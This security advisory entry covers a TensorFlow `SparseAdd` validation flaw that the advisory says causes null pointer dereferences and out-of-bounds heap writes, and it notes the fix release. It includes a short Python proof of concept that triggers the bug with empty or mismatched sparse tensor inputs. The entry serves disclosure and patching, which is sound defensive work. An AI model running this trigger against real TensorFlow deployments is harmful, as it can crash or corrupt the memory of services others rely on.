QID 982417

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

```python
import tensorflow as tf

a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)

b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)

thresh = 0

tf.raw_ops.SparseAdd(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape,
thresh=thresh)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.